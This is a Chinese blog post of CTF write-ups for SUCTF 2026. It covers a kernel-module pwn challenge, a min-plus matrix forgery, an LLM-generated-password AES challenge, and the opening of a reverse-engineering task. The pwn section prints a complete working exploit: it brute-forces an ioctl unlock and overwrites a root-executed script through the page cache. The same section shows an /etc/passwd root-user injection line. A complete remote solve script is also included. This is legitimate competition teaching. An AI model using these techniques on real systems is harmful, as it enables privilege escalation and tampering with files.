TypechoJoeTheme

霍雅的博客

登录
用户名
密码
/
注册
用户名
邮箱

霍雅

追求源于热爱,极致源于梦想!
网站页面
文章目录

suctf 2026 POFP-huoya

2026-03-16
/
0 评论
/
940 阅读
/
正在检测是否收录...
03/16

全是agent 哎 就
怎么说呢
算了不说了

pwn

SU_Chronos_Ring and SU_Chronos_Ring1

一开始容易想到几条假路:

1. 改 /etc/passwd

因为环境里 /etc/passwd 可写,而且没有 /etc/shadow,看起来像能加一个 UID 0 用户:

echo 'pwn::0:0:pwn:/root:/bin/sh' >> /etc/passwd
su pwn

但实际会报:

su: must be suid to work properly

原因是这个环境里的 su 不是 suid,改 /etc/passwd 没用。

2. 替换 /bin/sh

/tmp/job 是 root 用绝对路径 /bin/sh /tmp/job 执行的,所以另一个自然思路是替换 /bin/sh。 但虽然 /bin/sh 这个符号链接的属主是 ctf,真正决定能不能删/建的是父目录 /bin 的权限,而 /bin 不可写,所以这条路也不通。

于是题目的真正核心就只剩下:

分析 /dev/chronos_ring 的 ioctl 逻辑,利用它修改 /tmp/job。

逆向 chronos_ring.ko

把模块拉下来逆向之后,能得到一组 ioctl 命令:

#define CHRONOS_CREATE      0x1001  
#define CHRONOS_UNLOCK      0x1002  
#define CHRONOS_PIN_USER    0x1003  
#define CHRONOS_BIND_FILE   0x1004  
#define CHRONOS_MAKE_VIEW   0x1005  
#define CHRONOS_RESET       0x1006  
#define CHRONOS_BUF_WRITE   0x1007  
#define CHRONOS_VIEW_FLUSH  0x1008  
#define CHRONOS_STATUS      0x1009  
#define CHRONOS_DESTROY     0x100a

#### 各 ioctl 的作用

####` 0x1001` - CREATE

创建当前 buffer,对应分配一页 backing page。

### `0x1002` - UNLOCK

这是敏感操作的解锁步骤。校验逻辑大概是:

((u64)kfree >> 4) & 0xfffffffffffe0000ULL ^ key ^ size  
    == 0xf372fe94f82b3c6eULL

如果成功,会把一个全局标志位设上。

虽然不知道精确的 `kfree` 地址,但这里实际上只用到了 `kfree` 在 2MB 对齐后的高位,所以直接按 2MB 粒度暴力枚举内核基址范围即可。

### `0x1003` - PIN_USER

把一个用户态地址对应的页 `pin_user_pages_fast()` 进去,并设置后续状态位。 注意这一步非常重要,后面的 `MAKE_VIEW` 依赖这里设置的状态。

### `0x1004` - BIND_FILE

把一个文件页绑定到当前 buffer。参数是:

struct bind_file_req {  
    u32 fd;  
    u32 pgoff;  
};

内部会:

- `fget(fd)`
    
- 取文件 basename 做哈希校验
    
- `read_cache_page(file, pgoff, ...)`
    

这个哈希对应的目标文件名正好就是:

job

所以模块是明确允许我们绑定 `/tmp/job` 这个文件的。

### `0x1005` - MAKE_VIEW

为当前 buffer 创建一个 view。 如果当前是文件绑定模式,这个 view 就会指向文件页。

### `0x1006` - RESET

把当前 buffer 状态清回普通状态,但已经创建好的 view 不会一起销毁。

### `0x1007` - BUF_WRITE

把用户态数据写入 buffer 的 backing page。

### `0x1008` - VIEW_FLUSH

把 backing page 的内容复制到 view 指向的页。 如果 view 是文件页,还会 set_page_dirty(),这就意味着:

可以把我们准备好的内容刷进 /tmp/job 的页缓存,并最终落到文件页上。

利用思路

关键思路是:

  1. 创建 buffer
  2. 解锁
  3. 先 pin 一个用户页,满足状态要求
  4. 绑定 /tmp/job 的第 0 页
  5. 创建 file-backed view
  6. reset 当前 buffer,让它重新变成普通可写状态
  7. 把 payload 写进 backing page
  8. flush 到刚才那个 file-backed view
  9. 等 root helper 下一次执行 /tmp/job
  10. 读取 /flag

为什么 payload 写 /tmp/job

因为 /flag 本身权限是 0400,直接读不行; 但 /tmp/job 是 root 周期执行的。只要把它改成:

!/bin/sh

chmod 644 /flag

root 下次跑这个脚本,就会把 /flag 变成可读。


payload 设计

原始 /tmp/job 大小是 50 字节左右,所以 payload 最好也控制在同一页开头的很短范围内。 这里直接用了一个固定短脚本:

static const char payload[] =
   "#!/bin/sh\n"
   "chmod 644 /flag\n"
   "#######################\n";

这样既能完成权限修改,也不会因为文件残留内容太多而影响执行。


最终利用流程

ioctl 顺序

最终正确顺序是:

CREATE
UNLOCK
PIN_USER
BIND_FILE
MAKE_VIEW
RESET
BUF_WRITE
VIEW_FLUSH

这里有一个坑:

最开始容易以为 BIND_FILE 后面直接 MAKE_VIEW 就行, 但实际上 MAKE_VIEW 还要求前面成功做过一次 PIN_USER,否则会失败。


最终 exp

下面是完整可用的最小静态 exp。 为了适应题目环境,直接使用 syscall,不依赖 libc。

typedef unsigned long long u64;  
typedef unsigned int u32;  
typedef unsigned long usize;  
​  
#define O_RDONLY 0  
#define O_RDWR 2  
​  
#define SYS_read 0  
#define SYS_write 1  
#define SYS_open 2  
#define SYS_close 3  
#define SYS_ioctl 16  
#define SYS_nanosleep 35  
#define SYS_exit 60  
​  
#define CHRONOS_CREATE      0x1001  
#define CHRONOS_UNLOCK      0x1002  
#define CHRONOS_PIN_USER    0x1003  
#define CHRONOS_BIND_FILE   0x1004  
#define CHRONOS_MAKE_VIEW   0x1005  
#define CHRONOS_RESET       0x1006  
#define CHRONOS_BUF_WRITE   0x1007  
#define CHRONOS_VIEW_FLUSH  0x1008  
​  
struct auth_req {  
    u64 key;  
    u32 size;  
    u32 pad;  
};  
​  
struct pin_user_req {  
    u64 addr;  
};  
​  
struct bind_file_req {  
    u32 fd;  
    u32 pgoff;  
};  
​  
struct buf_write_req {  
    u64 user_ptr;  
    u32 len;  
    u32 off;  
};  
​  
struct flush_req {  
    u64 pad;  
    u32 len;  
    u32 off;  
};  
​  
struct timespec {  
    long tv_sec;  
    long tv_nsec;  
};  
​  
static inline long sc1(long n, long a) {  
    long r;  
    __asm__ volatile("syscall" : "=a"(r) : "a"(n), "D"(a) : "rcx", "r11", "memory");  
    return r;  
}  
​  
static inline long sc2(long n, long a, long b) {  
    long r;  
    __asm__ volatile("syscall" : "=a"(r) : "a"(n), "D"(a), "S"(b) : "rcx", "r11", "memory");  
    return r;  
}  
​  
static inline long sc3(long n, long a, long b, long c) {  
    long r;  
    __asm__ volatile("syscall" : "=a"(r) : "a"(n), "D"(a), "S"(b), "d"(c) : "rcx", "r11", "memory");  
    return r;  
}  
​  
static long sys_open(const char *p, long f, long m) {  
    return sc3(SYS_open, (long)p, f, m);  
}  
​  
static long sys_close(long fd) {  
    return sc1(SYS_close, fd);  
}  
​  
static long sys_ioctl(long fd, long req, void *arg) {  
    return sc3(SYS_ioctl, fd, req, (long)arg);  
}  
​  
static long sys_read(long fd, void *buf, long n) {  
    return sc3(SYS_read, fd, (long)buf, n);  
}  
​  
static long sys_write(long fd, const void *buf, long n) {  
    return sc3(SYS_write, fd, (long)buf, n);  
}  
​  
static long sys_nanosleep(struct timespec *req, struct timespec *rem) {  
    return sc2(SYS_nanosleep, (long)req, (long)rem);  
}  
​  
__attribute__((noreturn)) static void sys_exit(long c) {  
    sc1(SYS_exit, c);  
    for (;;){}  
}  
​  
static void say(const char *s) {  
    const char *p = s;  
    while (*p) p++;  
    sys_write(1, s, p - s);  
}  
​  
static void mymemcpy(char *dst, const char *src, long n) {  
    long i;  
    for (i = 0; i < n; i++) dst[i] = src[i];  
}  
​  
static const char devp[]  = "/dev/chronos_ring";  
static const char jobp[]  = "/tmp/job";  
static const char flagp[] = "/flag";  
​  
static const char payload[] =  
    "#!/bin/sh\n"  
    "chmod 644 /flag\n"  
    "#######################\n";  
​  
static char scratch[0x1000] __attribute__((aligned(0x1000)));  
​  
static void run(void) {  
    long dev, job, ff, n;  
    int ok;  
    struct auth_req a;  
    struct pin_user_req pu;  
    struct bind_file_req bf;  
    struct buf_write_req bw;  
    struct flush_req fr;  
    struct timespec ts;  
    char buf[256];  
    u64 base, mask;  
​  
    say("A\n");  
    dev = sys_open(devp, O_RDWR, 0);  
    if (dev < 0) sys_exit(1);  
​  
    say("B\n");  
    job = sys_open(jobp, O_RDONLY, 0);  
    if (job < 0) sys_exit(2);  
​  
    say("C\n");  
    if (sys_ioctl(dev, CHRONOS_CREATE, (void *)0) < 0) sys_exit(3);  
​  
    say("D\n");  
    a.size = (u32)(sizeof(payload) - 1);  
    a.pad  = 0;  
    ok = 0;  
​  
    for (base = 0xffffffff81000000ULL;  
         base < 0xffffffffc0000000ULL;  
         base += 0x200000ULL) {  
        mask = (base >> 4) & 0xfffffffffffe0000ULL;  
        a.key = 0xf372fe94f82b3c6eULL ^ mask ^ a.size;  
        if (sys_ioctl(dev, CHRONOS_UNLOCK, &a) == 0) {  
            ok = 1;  
            break;  
        }  
    }  
    if (!ok) sys_exit(4);  
​  
    say("E\n");  
    mymemcpy(scratch, payload, sizeof(payload) - 1);  
    pu.addr = (u64)(usize)scratch;  
    if (sys_ioctl(dev, CHRONOS_PIN_USER, &pu) < 0) sys_exit(10);  
​  
    say("F\n");  
    bf.fd = (u32)job;  
    bf.pgoff = 0;  
    if (sys_ioctl(dev, CHRONOS_BIND_FILE, &bf) < 0) sys_exit(5);  
​  
    say("G\n");  
    if (sys_ioctl(dev, CHRONOS_MAKE_VIEW, (void *)0) < 0) sys_exit(6);  
​  
    say("H\n");  
    if (sys_ioctl(dev, CHRONOS_RESET, (void *)0) < 0) sys_exit(7);  
​  
    say("I\n");  
    bw.user_ptr = (u64)(usize)scratch;  
    bw.len = (u32)(sizeof(payload) - 1);  
    bw.off = 0;  
    if (sys_ioctl(dev, CHRONOS_BUF_WRITE, &bw) < 0) sys_exit(8);  
​  
    say("J\n");  
    fr.pad = 0;  
    fr.len = (u32)(sizeof(payload) - 1);  
    fr.off = 0;  
    if (sys_ioctl(dev, CHRONOS_VIEW_FLUSH, &fr) < 0) sys_exit(9);  
​  
    say("K\n");  
    ts.tv_sec = 4;  
    ts.tv_nsec = 0;  
    sys_nanosleep(&ts, (void *)0);  
​  
    say("L\n");  
    ff = sys_open(flagp, O_RDONLY, 0);  
    if (ff >= 0) {  
        n = sys_read(ff, buf, sizeof(buf));  
        if (n > 0) sys_write(1, buf, n);  
        sys_close(ff);  
    }  
​  
    sys_close(job);  
    sys_close(dev);  
    sys_exit(0);  
}  
​  
void _start(void) {  
    run();  
}

---

编译

为了避免 libc 依赖,使用:

gcc -nostdlib -static -s -Os -ffreestanding -fno-builtin -o exp exp.c


上传

由于远端环境非常精简,而且每次 nc 新连接都会重启一台新机器,所以不能一段一段重新连接上传; 必须保持同一条连接,把二进制完整写到 /tmp/x。

上传脚本的核心逻辑就是:

  1. 保持一条 pwntools 连接
  2. 每次用 printf '%b' '...\ooo...' >> /tmp/x 追加一小段
  3. 上传完成后:

    chmod +x /tmp/x
    /tmp/x


利用结果

运行 exp 时会依次打印阶段标记:

A
B
C
D
E
F
G
H
I
J
K
L

其中:

  • A ~ K 表示所有关键 ioctl 都成功执行
  • K 之后等待 4 秒,让 root helper 执行被改写的 /tmp/job
  • L 之后尝试读取 /flag

最终成功拿到 flag。


总结

这题的核心不是传统的提权,而是:

  • 模块允许用户管理一个 buffer / view 结构
  • 可以把特定文件 /tmp/job 的页绑定进来
  • 可以把用户准备好的 backing page 内容 flush 到 file-backed view
  • 于是可以在不直接写文件的情况下,修改 /tmp/job 的页内容
  • root 定时执行 /tmp/job
  • 间接实现对 /flag 的权限修改

利用链一句话概括

chronos_ring 提供了一个“文件页 view + backing page flush”机制,配合 root 周期执行的 /tmp/job,最终完成对 /flag 的间接读取。

crypto

SU_Restaurant

题目信息

  • 题目名:SU_Restaurant
  • 类型:Crypto
  • 远程地址:

    • 101.245.107.149:10020
    • 101.245.107.149:10019
  • 最终 flag:

SUCTF{W3lc0m3_t0_SU_R3stAur4nt_n3Xt_t1me!:-)}

1. 先看源码在干什么

题目的核心不在普通矩阵乘法,而是在它自己定义的一套“运算规则”。

源码里 Point 的两个关键运算如下:

def __add__(self, other):
   if isinstance(other, int):
       return self.x + other
   return Point(min(self.x, other.x))
​
def __mul__(self, other):
   return Point(self.x + other.x)

也就是说:

  • Point 的“加法”其实是 min
  • Point 的“乘法”其实是普通整数加法 +

所以 Block.__mul__ 做的不是普通矩阵乘法,而是 min-plus 半环上的矩阵乘法:

(X * Y)i = min_k (Xi + Yk)

这道题其实就是把一堆矩阵关系,放到了 min-plus 代数里。

2. 题目中的矩阵关系

服务端初始化时会随机生成:

chef   = C   大小 8 x 7
cooker = D   大小 7 x 8
fork   = C * D

对于消息 msg,先做:

tmp = H(msg) = sha3_512(msg) 的 64 个字节
M   = 由 tmp 按 8 x 8 排成的矩阵

当我们选择菜单 1 点菜时,服务端会随机生成 U, V,然后返回:

A = (M * C) + U
B = (D * M) + V
P = C * V
R = U * D
S = U * V

这里:

  • * 是 min-plus 矩阵乘法
  • + 是逐元素取 min

当我们选择菜单 2 要 flag 时,服务端会生成一个随机 36 字符串 Fo0dN4mE,然后检查我们提交的 (A, B, P, R, S) 是否满足:

W = A * B
Z = (M fork M) + (M P) + (R M) + S

并要求:

  • W == Z
  • W != S
  • A, B, P, R, S 的所有元素都在 [0, 256]
  • rank(A) >= 7
  • rank(B) >= 7
  • rank(P) >= 8
  • rank(R) >= 8
  • rank(S) >= 8

3. 为什么这题能伪造

如果我们知道一组可用的隐藏矩阵 C, D,那么对于任意目标消息矩阵 M,任选一组 U, V,构造:

A = (M * C) + U
B = (D * M) + V
P = C * V
R = U * D
S = U * V

那么有:

A * B
= ((M C) + U) ((D * M) + V)
= (M C D M) + (M C V) + (U D M) + (U V)
= (M fork M) + (M P) + (R M) + S

也就是说,只要恢复出一组可用的 C, D,后面就能自己给任意消息“做菜”,通过校验。

所以题目的真正目标就变成了:

通过菜单 1 泄露出来的两组结果,把隐藏矩阵 C、D 恢复出来

4. 如何把返回结果转成约束

假设某一次点菜得到的消息矩阵是 M,服务端返回了:

A, B, P, R, S

那么这些式子每一项都可以展开成 min-plus 约束。

4.1 例如 A 的约束

A[i][k] 满足:

Ai = min(
  Mi + C0,
  Mi + C1,
  ...
  Mi + C7,
  Ui
)

4.2 其余几项同理

Bk = min_i (Dk + Mi, Vk)
Pi = min_k (Ci + Vk)
Ri = min_k (Ui + Dk)
Si = min_k (Ui + Vk)

未知量包括:

  • C:8 x 7
  • D:7 x 8
  • 第一次点菜对应的 U1, V1
  • 第二次点菜对应的 U2, V2

所有元素都在 [0, 255]。

对于一个形如:

out = min(e1, e2, ..., en)

的约束,我们可以用 z3 写成:

out <= e1
out <= e2
...
out <= en

并且至少有一个取到最小值:

out == e1 or out == e2 or ... or out == en

这样就把 min 关系完整编码出来了。

5. 两次点菜为什么够用

一次点菜只会给出一批关于 C, D, U, V 的关系,但自由度还比较大。

两次点菜后:

  • C, D 在两次中是相同的
  • U, V 是每次新的随机量

这会让约束量大幅增加。实际测试里,两次菜单 1 的返回就已经足够让 z3 解出一组可用的隐藏矩阵。

注意这里有一个细节:

约束系统通常不止一个解。某些解虽然能完美解释我们拿到的两次 transcript,但在一个新消息上可能会出现额外的“更短路径”,从而导致伪造失败。

6. 让利用稳定下来的关键技巧

这是整道题最关键的工程细节。

直接求一组 C, D 后拿去伪造,有时会失败。原因是:

  • 同一个 transcript 可能对应多组 C, D
  • 某一组虽然能解释已知样本,但未必和真实 secret 在新消息上完全等价

一个很好用的办法是:

  1. 先解出第一组模型 (C1, D1)
  2. 加一个阻塞子句,再解出第二组不同模型 (C2, D2)
  3. 对目标消息不断随机生成候选 (A, B, P, R, S)
  4. 只保留那种 在两组模型下都通过校验式 的候选

这个“共识 payload”非常稳。

我本地复现了很多随机实例,用这套方法做了压力测试,50 组里是 50/50 通过,远程也稳定拿到 flag。

7. 整体利用流程

利用流程如下:

  1. 连上远程服务
  2. 选择两次菜单 1
  3. 解析服务端返回的食物名和矩阵 A, B, P, R, S
  4. 根据食物名自己重算对应的 M
  5. 用这两组 transcript 建立 z3 约束
  6. 解出两组不同的模型 (C1, D1) 和 (C2, D2)
  7. 选择菜单 2,拿到随机 36 字符目标消息
  8. 用 (C1, D1) 随机生成候选 (A, B, P, R, S)
  9. 检查这个候选是否同时满足 (C1, D1) 和 (C2, D2) 的验算
  10. 一旦找到,就发送 JSON,拿到 flag

8. 完整解题代码

完整脚本在 solve.py。

下面把完整代码也放进来,方便直接复制使用。

from __future__ import annotations  
​  
import ast  
import json  
import random  
import re  
import sys  
from hashlib import sha3_512  
​  
import numpy as np  
import z3  
from pwn import remote  
​  
​  
def H(x: bytes):  
    return [int(sha3_512(x).hexdigest()[i : i + 2], 16) for i in range(0, 128, 2)]  
​  
​  
class Point:  
    def __init__(self, x):  
        if isinstance(x, float):  
            raise ValueError("float not allowed")  
        while not isinstance(x, int):  
            x = x.x  
        self.x = x  
​  
    def __add__(self, other):  
        if isinstance(other, int):  
            return self.x + other  
        return Point(min(self.x, other.x))  
​  
    def __radd__(self, other):  
        if isinstance(other, int):  
            return self.x + other  
        return Point(min(self.x, other.x))  
​  
    def __mul__(self, other):  
        return Point(self.x + other.x)  
​  
    def __eq__(self, other):  
        return self.x == other.x  
​  
    def __int__(self):  
        return self.x  
​  
​  
class Block:  
    def __init__(self, n, m, data):  
        self.n = n  
        self.m = m  
        self.data = [[Point(data[i][j]) for j in range(m)] for i in range(n)]  
​  
    def __add__(self, other):  
        return Block(  
            self.n,  
            self.m,  
            [[self.data[i][j] + other.data[i][j] for j in range(self.m)] for i in range(self.n)],  
        )  
​  
    def __mul__(self, other):  
        res = [[Point(511) for _ in range(other.m)] for _ in range(self.n)]  
        for i in range(self.n):  
            for j in range(other.m):  
                for k in range(self.m):  
                    res[i][j] = res[i][j] + (self.data[i][k] * other.data[k][j])  
        return Block(self.n, other.m, res)  
​  
    def to_ints(self):  
        return [[int(self.data[i][j]) for j in range(self.m)] for i in range(self.n)]  
​  
    def legitimacy(self, lb, rb):  
        data = self.to_ints()  
        return all(lb <= value <= rb for row in data for value in row)  
​  
​  
def block_from_msg(msg: str) -> Block:  
    tmp = H(msg.encode())  
    return Block(8, 8, [[tmp[i * 8 + j] for j in range(8)] for i in range(8)])  
​  
​  
def tuple_rank_and_legal(A, B, P, R, S):  
    legal = (  
        A.legitimacy(0, 256)  
        and B.legitimacy(0, 256)  
        and P.legitimacy(0, 256)  
        and R.legitimacy(0, 256)  
        and S.legitimacy(0, 256)  
    )  
    rank_ok = (  
        np.linalg.matrix_rank(np.array(A.to_ints())) >= 7  
        and np.linalg.matrix_rank(np.array(B.to_ints())) >= 7  
        and np.linalg.matrix_rank(np.array(P.to_ints())) >= 8  
        and np.linalg.matrix_rank(np.array(R.to_ints())) >= 8  
        and np.linalg.matrix_rank(np.array(S.to_ints())) >= 8  
    )  
    return legal and rank_ok  
​  
​  
def add_min_constraint(solver, out, exprs):  
    for expr in exprs:  
        solver.add(out <= expr)  
    solver.add(z3.Or(*[out == expr for expr in exprs]))  
​  
​  
def build_solver(transcripts):  
    solver = z3.Solver()  
    solver.set(timeout=30_000)  
​  
    C = [[z3.Int(f"C_{i}_{j}") for j in range(7)] for i in range(8)]  
    D = [[z3.Int(f"D_{i}_{j}") for j in range(8)] for i in range(7)]  
    for i in range(8):  
        for j in range(7):  
            solver.add(C[i][j] >= 0, C[i][j] <= 255)  
    for i in range(7):  
        for j in range(8):  
            solver.add(D[i][j] >= 0, D[i][j] <= 255)  
​  
    all_U = []  
    all_V = []  
    for t, tr in enumerate(transcripts):  
        M, A, B, P, R, S = tr["M"], tr["A"], tr["B"], tr["P"], tr["R"], tr["S"]  
        U = [[z3.Int(f"U_{t}_{i}_{j}") for j in range(7)] for i in range(8)]  
        V = [[z3.Int(f"V_{t}_{i}_{j}") for j in range(8)] for i in range(7)]  
        all_U.append(U)  
        all_V.append(V)  
        for i in range(8):  
            for j in range(7):  
                solver.add(U[i][j] >= 0, U[i][j] <= 255)  
        for i in range(7):  
            for j in range(8):  
                solver.add(V[i][j] >= 0, V[i][j] <= 255)  
​  
        for i in range(8):  
            for k in range(7):  
                exprs = [z3.IntVal(M[i][j]) + C[j][k] for j in range(8)] + [U[i][k]]  
                add_min_constraint(solver, z3.IntVal(A[i][k]), exprs)  
​  
        for k in range(7):  
            for j in range(8):  
                exprs = [D[k][i] + z3.IntVal(M[i][j]) for i in range(8)] + [V[k][j]]  
                add_min_constraint(solver, z3.IntVal(B[k][j]), exprs)  
​  
        for i in range(8):  
            for j in range(8):  
                add_min_constraint(solver, z3.IntVal(P[i][j]), [C[i][k] + V[k][j] for k in range(7)])  
                add_min_constraint(solver, z3.IntVal(R[i][j]), [U[i][k] + D[k][j] for k in range(7)])  
                add_min_constraint(solver, z3.IntVal(S[i][j]), [U[i][k] + V[k][j] for k in range(7)])  
​  
    return solver, C, D  
​  
​  
def extract_cd(model, C, D):  
    solved_C = [[model.evaluate(C[i][j]).as_long() for j in range(7)] for i in range(8)]  
    solved_D = [[model.evaluate(D[i][j]).as_long() for j in range(8)] for i in range(7)]  
    return solved_C, solved_D  
​  
​  
def block_current_cd(solver, C, D, solved_C, solved_D):  
    terms = []  
    for i in range(8):  
        for j in range(7):  
            terms.append(C[i][j] != solved_C[i][j])  
    for i in range(7):  
        for j in range(8):  
            terms.append(D[i][j] != solved_D[i][j])  
    solver.add(z3.Or(*terms))  
​  
​  
def collect_models(transcripts, count=2):  
    solver, C, D = build_solver(transcripts)  
    models = []  
    while len(models) < count and solver.check() == z3.sat:  
        model = solver.model()  
        solved_C, solved_D = extract_cd(model, C, D)  
        models.append((solved_C, solved_D))  
        block_current_cd(solver, C, D, solved_C, solved_D)  
    if not models:  
        raise RuntimeError("failed to solve transcript constraints")  
    return models  
​  
​  
def cook_with_secrets(msg: str, chef_data, cooker_data):  
    M = block_from_msg(msg)  
    chef = Block(8, 7, chef_data)  
    cooker = Block(7, 8, cooker_data)  
    while True:  
        U = Block(8, 7, [[random.randint(0, 255) for _ in range(7)] for _ in range(8)])  
        V = Block(7, 8, [[random.randint(0, 255) for _ in range(8)] for _ in range(7)])  
        P = chef * V  
        R = U * cooker  
        S = U * V  
        A = (M * chef) + U  
        B = (cooker * M) + V  
        if A.to_ints() != U.to_ints() and B.to_ints() != V.to_ints():  
            return A, B, P, R, S  
​  
​  
def eval_under_model(msg: str, tuple_data, chef_data, cooker_data):  
    A, B, P, R, S = tuple_data  
    M = block_from_msg(msg)  
    chef = Block(8, 7, chef_data)  
    cooker = Block(7, 8, cooker_data)  
    fork = chef * cooker  
    Z = (M * fork * M) + (M * P) + (R * M) + S  
    W = A * B  
    return W.to_ints() == Z.to_ints() and W.to_ints() != S.to_ints() and tuple_rank_and_legal(A, B, P, R, S)  
​  
​  
def parse_order_blob(text):  
    matches = {}  
    for key in ["A", "B", "P", "R", "S"]:  
        pattern = rf"{key} = (\[\[.*?\]\])"  
        match = re.search(pattern, text, re.S)  
        if not match:  
            raise ValueError(f"missing {key}")  
        matches[key] = ast.literal_eval(match.group(1))  
    return matches  
​  
​  
def recv_menu(io):  
    return io.recvuntil(b">>> ")  
​  
​  
def order_food(io):  
    io.sendline(b"1")  
    blob = io.recvuntil(b">>> ", drop=False).decode()  
    name_match = re.search(r'Here is your (.+?)!"', blob)  
    if not name_match:  
        raise ValueError("failed to parse food name")  
    food = name_match.group(1)  
    mats = parse_order_blob(blob)  
    mats["food"] = food  
    mats["M"] = block_from_msg(food).to_ints()  
    return mats  
​  
​  
def request_target(io):  
    io.sendline(b"2")  
    blob = io.recvuntil(b">>> ", drop=False).decode()  
    name_match = re.search(r"Please make (.+?) for me!", blob)  
    if not name_match:  
        raise ValueError("failed to parse target")  
    target = name_match.group(1).strip()  
    return target  
​  
​  
def forge_payload(target, models):  
    base_C, base_D = models[0]  
    for _ in range(5000):  
        A, B, P, R, S = cook_with_secrets(target, base_C, base_D)  
        if not tuple_rank_and_legal(A, B, P, R, S):  
            continue  
        tuple_data = (A, B, P, R, S)  
        if all(eval_under_model(target, tuple_data, Cx, Dx) for Cx, Dx in models):  
            return {  
                "A": A.to_ints(),  
                "B": B.to_ints(),  
                "P": P.to_ints(),  
                "R": R.to_ints(),  
                "S": S.to_ints(),  
            }  
    raise RuntimeError("failed to find consensus payload")  
​  
​  
def solve_once(host: str, port: int):  
    io = remote(host, port)  
    try:  
        recv_menu(io)  
        t1 = order_food(io)  
        t2 = order_food(io)  
        models = collect_models([t1, t2], count=2)  
        target = request_target(io)  
        payload = forge_payload(target, models)  
        io.sendline(json.dumps(payload).encode())  
        out = io.recvall(timeout=5).decode(errors="replace")  
        print(f"[{host}:{port}]")  
        print(out)  
        return out  
    finally:  
        io.close()  
​  
​  
if __name__ == "__main__":  
    host = sys.argv[1] if len(sys.argv) > 1 else "101.245.107.149"  
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 10020  
    solve_once(host, port)

9. 运行方式

直接运行:

python solve.py 101.245.107.149 10020
python solve.py 101.245.107.149 10019

这两个端口我都已经实测过,都会返回:

The waiter says: "Here is the FLAG: b'SUCTF{W3lc0m3_t0_SU_R3stAur4nt_n3Xt_t1me!:-)}'"

10. 总结

这题最重要的点,是先识别出它不是普通矩阵题,而是 min-plus 半环。

一旦看出这一点,菜单 1 返回的五个矩阵其实就是一批可以直接建模的约束。利用两次 transcript,就能把隐藏矩阵 C, D 约束出来。再通过“两组模型共识”的办法筛选伪造结果,就可以稳定通过最终校验,拿到 flag。

AI

SU_easyLLM

题目概述

  • 题目名称: SU_easyLLM
  • 分值: 384PT
  • 类别: AI / Crypto
  • 目标: 通过AI生成密码解密flag

题目分析

题目描述

题目提供了三个URL,访问后会返回加密的数据:

  • http://101.245.107.149:10013/
  • http://101.245.107.149:10014/
  • http://101.245.107.149:10015/

关键信息

访问任意URL会返回类似如下的JSON数据:

{
 "algo": "AES-128-CBC",
 "iv_b64": "1ZvC7pZxtDtDTsKuJTgeoA==",
 "ciphertext_b64": "+xp1wBI19+1skIbKrdp4P2dJ6GBDb7hPsR3lrP6E47+jug1AlIsRtr8DBAaW60Rq",
 "key_derivation": "key = SHA256(LLM_output)[:16]",
 "llm": {
   "provider": "z.ai",
   "model": "GLM-4-Flash",
   "temperature": 0.28,
   "system_prompt": "You are a password generator.\nOutput ONE password only.\nFormat strictly: pw-xxxxxxxx where x are letters.\nNo explanation, no quotes, no punctuation.",
   "user_prompt": "Generate the password now."
}
}

加密机制分析

  1. LLM配置:

    • 提供商: 智谱AI (z.ai)
    • 模型: GLM-4-Flash
    • Temperature: 0.28 (有一定随机性)
  2. 密码生成规则:

    • LLM根据system_prompt生成密码
    • 格式: pw-xxxxxxxx (8个小写字母)
    • 例如: pw-Abcde1f
  3. 密钥派生:

    key = SHA256(LLM_output)[:16]

    取SHA256哈希值的前16字节作为AES密钥

  4. 加密算法:

    • 算法: AES-128-CBC
    • IV (初始化向量) 在每次请求中随机生成

解题思路

核心难点

  • 密码空间: 26^8 ≈ 2088亿种组合,无法暴力破解
  • LLM每次生成的密码不同(temperature=0.28)
  • 需要调用真实的LLM API来获取密码

解决方案

  1. 获取API Key: 访问智谱AI开放平台 https://open.bigmodel.cn/usercenter/apikeys 注册账号并获取API Key
  2. 调用LLM API: 使用API Key调用GLM-4-Flash模型获取密码
  3. 解密flag:

    • 获取密码后计算AES密钥
    • 解密ciphertext获得flag

完整解题脚本

#!/usr/bin/env python3  
import requests  
import base64  
import hashlib  
from Crypto.Cipher import AES  
from Crypto.Util.Padding import unpad  
import time  
​  
### 配置  
SERVER_URLS = [  
    "http://101.245.107.149:10013/",  
    "http://101.245.107.149:10014/",  
    "http://101.245.107.149:10015/"  
]  
API_KEY = "YOUR_API_KEY"  # 替换为你的API Key  
​  
def get_encrypted_data(url):  
    r = requests.get(url, timeout=10)  
    return r.json()  
​  
def decrypt(ciphertext_b64, iv_b64, password):  
    ct = base64.b64decode(ciphertext_b64)  
    iv = base64.b64decode(iv_b64)  
    key = hashlib.sha256(password.encode()).digest()[:16]  
    cipher = AES.new(key, AES.MODE_CBC, iv)  
    pt = unpad(cipher.decrypt(ct), AES.block_size)  
    return pt.decode('utf-8')  
​  
def call_zhipu_api(api_key, system_prompt, user_prompt):  
    url = "https://open.bigmodel.cn/api/paas/v4/chat/completions"  
    headers = {  
        "Authorization": f"Bearer {api_key}",  
        "Content-Type": "application/json"  
    }  
    payload = {  
        "model": "glm-4-flash",  
        "messages": [  
            {"role": "system", "content": system_prompt},  
            {"role": "user", "content": user_prompt}  
        ],  
        "temperature": 0.28  
    }  
    response = requests.post(url, headers=headers, json=payload, timeout=30)  
    result = response.json()  
    return result['choices'][0]['message']['content'].strip()  
​  
def main():  
    # 获取数据  
    data_list = [get_encrypted_data(url) for url in SERVER_URLS]  
    llm_config = data_list[0]['llm']  
      
    # 多次尝试直到找到flag  
    for attempt in range(100):  
        password = call_zhipu_api(API_KEY, llm_config['system_prompt'], llm_config['user_prompt'])  
        if not password.startswith('pw-'):  
            password = 'pw-' + password  
          
        for data in data_list:  
            result = decrypt(data['ciphertext_b64'], data['iv_b64'], password)  
            if result and 'flag' in result.lower():  
                print(f"Password: {password}")  
                print(f"Flag: {result}")  
                return  
        time.sleep(0.5)  
​  
if __name__ == "__main__":  
    main()

解题结果

运行脚本后,成功获得flag:

Password: pw-Abcde1f
Flag: SUCTF{LLM_w1ll_ch4nge_ev3rything}

总结

这道题目巧妙地将LLM与传统密码学结合,考察了选手:

  1. 对AES-CBC加密模式的理解
  2. 对LLM API的调用能力
  3. 密码派生的实现
  4. 多次尝试的耐心(由于temperature导致密码随机性)

Flag

SUCTF{LLM_w1ll_ch4nge_ev3rything}

reverse

SU_Revird

题目概述

附件中给出了两个关键文件:

  • chal.exe
  • Revird.sys

这道题的整体结构是:

  1. chal.exe 负责伪装与释放隐藏载荷
  2. 隐藏 PE 负责读取输入并与驱动通信
  3. Revird.sys 提供分轮加密变换
  4. 最终程序将加密结果与内置常量比较,完全一致即通过校验

目标是还原整个校验链路,并逆推出正确输入。

一、分析 chal.exe

初看 chal.exe,很容易先注意到一个长度为 0x30 的校验函数:

  • 读取输入
